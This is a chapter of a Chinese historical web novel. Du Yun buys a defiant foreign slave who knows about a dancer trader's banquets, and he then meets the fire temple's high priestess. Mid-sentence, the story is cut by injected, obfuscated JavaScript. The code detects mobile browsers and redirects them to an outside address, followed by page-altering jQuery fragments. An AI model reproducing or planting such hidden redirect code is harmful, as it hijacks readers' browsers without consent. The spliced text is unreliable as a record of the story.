56. 刁奴

作品:《大唐霓裳歌

    牙郎将杜筠带到一处不起眼的巷间,远远地便听闻有吵闹争执之声,从巷子深处传来。


    一群人熙熙攘攘堵在一处门前,一副若有不从便别想出门的架势。另一边,货主家的打手亦站在门前分毫不让,不许眼前之人踏入门庭一步。


    人群中有一散着长发胡奴,低眉顺目地站在一旁,被两方推来搡去,毫无反应。


    此人身材高挑,紧实健壮,非积年所练而不可得。此刻却被人如同什么脏东西一般甩脱出去,实在令人心酸。


    门外那领头之人拍打着胡奴的胸脯:“你瞧瞧,你瞧瞧。这身板,你说我家大人买他回去作甚?可这东西呢?让他搬货他不去,令他看院子他便瞌睡,贼都在他面上画上龟了,他是半点不醒啊!”


    另一方显然便不那么理直气壮:“这一手交钱一手交货的买卖,当时可都谈妥了的。下人愚钝自然该打,找咱们又是做什么呢?”


    “哼,若是能打服也罢了。这厮打不还手骂不还口,事儿那是一件不做!每日画那劳什子鬼画符,冲撞了上门的客人。赔钱玩意儿我们供不起,你快快领回去!”


    “这又从何说起?这桩买卖过了道道官府文书的,身契奴籍皆已交付,便是去了官府也没有退回来的道理。”


    双方各执一词,似是各有各的委屈。


    这些话落入杜筠与牙郎的耳中,牙郎定睛一看,扭头就走:“今日运势不佳,竟遇上这等事。姑娘不如明日再来?”


    杜筠这厢惜时如金,哪经得起耽搁一日?便想要阻拦。


    这一拦,已被那眼尖的瞧见,身后有人高喊:“这不是曹诚吗,让他过来!”


    话音未落,牙郎拔腿就跑。杜筠吓了一跳,不明所以,竟也跟着他跑起来。


    可这巷子本就不宽,周遭又堆了杂物,根本也跑不起来,二人没跑几步,便被人拦了下来。


    曹诚立时苦了脸:“买卖双方都在,你们抓我作甚。”


    杜筠更是无奈:“我只是个买家,更不关我的事。”


    来捉人的本也是听命办事,堵在巷口无丝毫退让之意,杜筠这身打扮令他们颇为难办,语气终软了下来:“祭司大人,小的无意叨扰。这些人隐瞒事实诓骗我家主人买下刁奴,想请您去做个见证。”


    这架势,便是不放人了。索性端起架子,想着速战速决,快快带了人回火神寺:“我还有事要办,只来带个人走,莫要多事。”


    事因相当浅显,无非是这胡奴模样好又温顺,还通晓各部俗语,谁知是个花架子。主人家花了大价钱买来,却发现其好吃懒做,毛手毛脚。每日不见踪影,也不知去了何处,完全使唤不动。


    若是训诫,便逆来顺受,可也并无丝毫改善,主人家实在没辙,来找货主想要将人退回去。


    货主自是不允。


    且不说还能不能再卖一手,先前卖出的时候税赋乃是三成,再过几日便涨到六成了,一来一去足足少了三成。


    主人家说不动货主,只能拉着牙郎曹诚,想要他帮着说句话。


    曹诚眯着眼辨认了半天,皮笑肉不笑:“我不认识此人。”


    “曹诚!”主人家提声道:“你做生意不能不讲信用!我们家在你手上买了那么多号人,你竟连句公道话都不说?你和这货主是一伙的吧!”


    “我每天经手的人可多了,哪里记得住......”


    “不认识他你跑什么?”那人双目一瞪,丢出一卷文书来:“别装傻了。这也就一个月的功夫,人你来回卖了多少次了?文书上的见证人,是你吧?”


    曹诚端端正正地看了,恍然挤出一句:“是我。”


    “桥头楼员外这份文书,见证人也是你吧?”


    “也是我。”


    “乌衣巷曹家,甜水街托克家,长宁酒家先后都买过这奴仆,经手的都是你吧?这么个人,就这些日子,你们来来回回卖过多少手了?”


    “都是我。”曹诚哭丧着脸:“可也不是我骗各家买回去的,这奴仆价高,一般人用不上,我都提点过。可不是你们瞧着他模样好,非要买他。”


    主人家的脸黑了下来,没再驳斥追问下去。


    货主也赶忙接帮腔:“是呀,这不是一般的奴才,通晓各族的语言本就不易,又结实又灵敏,这才来几天,在集市中的消息却比我更灵通,只是......确实难以驾驭,我们都提醒过的。”


    主人家冷哼:“原来是个风光人物,难怪翅膀这般硬,我们竟还使唤不动他了。他既有大用,你赶紧带回去,别留在我这碍眼。”


    杜筠在一旁打量这个刁奴。


    发髯显然是许久未修整过了,面容却颇为清秀。许是今日要带上街来,好歹是披了件外袍,也不怎么合身,有些短小。看得出来,主人家是真的不怎么喜欢他。


    可他只是站在那边都难掩气度,九尺身长站在人群里,一眼便只能望见他。他实在不像是个奴仆,那模样便是长安城中的世家子弟也都比不上的。


    感受到她的目光,那胡奴淡淡地向她看过来,随后竟穿过面前几人,向她走过来。


    高挑的身躯挡住了阳光,将她笼在阴影之下。


    “你不是大祭司,为何穿着她的衣裳?”


    曹诚赶忙过来,挡在她的身前,颇为无奈:“这位是大祭司的贵客,你这刁奴休得无礼。”


    胡奴表情微动,声音却未起波澜:“贵客,带我去见她。”


    杜筠说要带走胡奴的时候,在场之人的表情不可谓不精彩——任哪个也是喜上眉梢,不可置信。


    面前这女子,莫不是个傻子?


    除此之外,她还带走了个昆仑奴——听闻也是那胡奴的建议。昆仑奴他个子不高,却是这货主手中功夫最好、最为矫捷的一位。


    买卖手续一应办完,回到火神寺中,已是傍晚。杜筠将那胡奴唤了进来,示意他坐下。


    胡奴躬身,却不为所动。


    杜筠不置可否。她有太多疑问,一时不知从何说起,良久问出一句:“你是谁?”


    胡奴垂手站在那里,不卑不亢地答:“名毗伽,仰慕大祭司,有意求见。”


    “我知道你唤毗伽。”杜筠有些泄气:“文书上写着呢。可我总觉得,你不是寻常奴仆,你有所求。”


    “世人皆有所求。娘子带我回来,亦有所求。”


    他话不多,回起话来刀枪不入,教人接不下去。杜筠却漏出一丝笑意来:“你想要我先开口?”


    她并不卖他这个面子,只是兀自说起来:“通晓各部俗语,能与全集市的牙郎奴仆说上话。你既有这般本事,为何为奴?”


    毗伽眼神清明:“身不由己。”


    杜筠皱起了眉头。


    许是看出了她的不悦,他终于说多了几句:


    “我曾是十设中泥孰部一位武官之子,各部俗语我本就本就会一些。父兄在动荡之中离世,而我东躲西藏,为了活命,没为奴籍。靠这么一点本事,少挨些打。”


    故事编得滴水不漏,但若真是如此,他不会在各家做不了几天的事便被主人家赶出来。


    杜筠一听便知,这话他已重复了不知多少次,再问不出什么来,也不再纠缠下去,只问:“还会些什么?”


    “舞刀弄枪,百步穿杨,定可寸步不离护娘子周全。”


    “我不用你护我周全。”杜筠笑意愈重,目光却凌厉起来:“让你去做那苦力活,是那些人有眼无珠。你若能知无不言,我亦许你一个条件,但需得是我做得到的事。身契,田地,这些能给的都可谈。”


    想来做奴仆的,终究不过图些银两,图个自由身罢了。


    毗伽思忖半晌,开口问道:“我如何信你?”


    “我该如何让你信我?”杜筠反问。


    “带我去见大祭司。”兜兜转转,又绕了回来。他是真的想见奥莉祭司。


    “可以。”杜筠细细看着他面上的细微变化,妄求从中能看出些什么:“就当是见面礼,但你要先答我的问题。”


    “娘子请问。”


    杜筠起身,踱步到他身侧,抬眼望向他:“我听闻,南市中有个唤崔四的货主,手上有碎叶城最好的舞姬。”


    “你既对南市了如指掌,想必可以帮我。”


    “娘子想买舞姬,可另择他处。”毗伽直言不讳:“崔四的人价高,多只供权贵富商。”


    不知为何,他谈话间有种令人信服的力量,让人不由自主地想要听从。这等气场,或是当真领过军。


    好在杜筠经年从商,也算是跌打滚爬过,才不至于露了怯,被这胡奴牵着鼻子走。她打起精神,试图不受其影响,沉下面色佯怒:“你是觉得我够不上?”


    “不敢。”


    听到这话,她深吸一口气,抬起下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085343|143428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巴直视进他的眼里:“米扎尔家的商队不日将前来碎叶。我受他家姊弟颇多照应,自然要给他备下上好的礼物。”


    不知是不是她的错觉,她说起“米扎尔”时,他的喉间明显动了动。


    她来不及深究,只是继续说下去:“你只要告诉我他在哪。旁的事,少操心。”


    毗伽欲言又止,很是挣扎了一番,这才闷声道:“崔四与别的货主不同。他不在南市西北隅,而是打着牙庭专供的名头,在甜水街有一处梨院,平日只接熟客,多有碎叶大员与富家子弟趋之若鹜。若非是我曾在托克家当工,打听了些许,此事我先前也并不知。”


    “若说与寻常教坊有何分别......别家教坊的台柱子,轻易不会放走。崔四手上却像是有源源不断的好苗子。梨院每年办春宴与夏宴,各晋一魁首娘子。那一日便是那魁首娘子的场子,由她领舞宴客,末了自行择客。崔四当场开价,若那人应下了,便不再另拍。”


    “那想必是提前擢选过的客人罢。”杜筠试探道:“若是选中的人付不出银子,岂不骑虎难下。”


    “算是吧。”毗伽道:“梨院入场并不难,交上银两谁都能去看眼热闹。但魁首娘子只在席面上选人。能坐在席上的不过几十,更无寻常白丁。被魁首娘子看上是何等殊荣,能吹嘘一辈子的事,反之也是一辈子落脸。若是被选上了,多是打肿了脸也要充胖子的。


    而官员富贾,牙郎商客,选什么的都有。听闻去岁曾有一魁首,择了往长安的商旅。魁首娘子喜好实在难测,所以这实在也算不上是什么法子。”


    他说的这人,想来便是狄娅。


    商队中人若是被魁首选中,那确是咬碎了牙也要将人买下来。传出去丢了脸面,未来还如何在碎叶城中经营?


    更难怪茉莉在长安城中四处寻找狄娅的买家......或许根本不似她说得那般,是什么千辛万苦寻来的宝贝。


    那是不得已而付出去的,白花花的现银。


    客人既是魁首娘子择的,那便是阿里曼看上的人,价格不过是个过场罢了。


    今岁夏宴,也是魁首娘子的下一次擢选,就在明日。


    ****


    夜幕之下,一个白衣女子穿过火神寺的亭台楼榭,来到主楼大殿之前。


    她的身后跟着一个壮硕的胡人,浓眉大眼依稀可见,虽低着头,却也难掩其周身气场。


    他的发髯久未修缮,几乎遮住了大半张脸,却终算是打理过了。身上一袭短衫,还是杜筠回来的路上替他买的。


    过路的信徒虽躬身对杜筠行礼,见到她身后那人,也是匆匆忙忙地离去连头也不敢回。只敢暗自揣测杜筠身份。想这米扎尔家的客人,果然无凡俗之辈,竟连身边的手下都是这般气势。


    大殿之上并无什么散落的光亮。一片漆黑之中,只一束圣火百年如一日地熊熊燃烧。伴着偶有柴火燃尽断裂的声响,松香直弥漫到殿外。


    越是靠近,越是浓郁,越是火热。


    圣火不远处,有一女子背对着殿外。黑暗中,那火焰在她周身映幽光来。


    她静静地仰视着大殿后的图腾:那是一个展着鹰翼的智者,似要将整个大殿笼在其双翼之下。


    大祭司双手合十,深躬下去,甚是虔诚。


    杜筠身后的毗伽亦是双手合十,低下头去。


    大祭司终是听到了身后二人发出的淅索声响,沉着声问道:“来者何人?”


    毗伽越过杜筠,快步走到奥莉身后,提声道:“信徒毗伽,见过奥莉大祭司。”


    女子听到这声音,急急转过头来,虽蒙着面,却依旧难掩其目中震惊之色。


    杜筠一阵慌乱:这胡奴的身形实在太过迅速,她阻拦不急。若是怀着歹意,她要如何收场?她匆忙上前,却发现二人眼中,弥漫着她看不懂的神情。


    任谁的眼中,此刻也容不下多一个她。


    两个人在见到对方的那一刻,已知道这意味着什么。


    热烈的目光交织,圣火跃动,滋啦作响。


    耳畔大祭司的声音幽幽空灵:“杜姑娘的恩情,我们铭记在心。可否让我与这信徒,借一步说话?”


    ****


    这天是注定许多人的不眠夜。


    杜筠坐在寺顶檐上坐了一整晚。看着远处边牙庭的金顶,风平浪静。


    梁子承没有现身。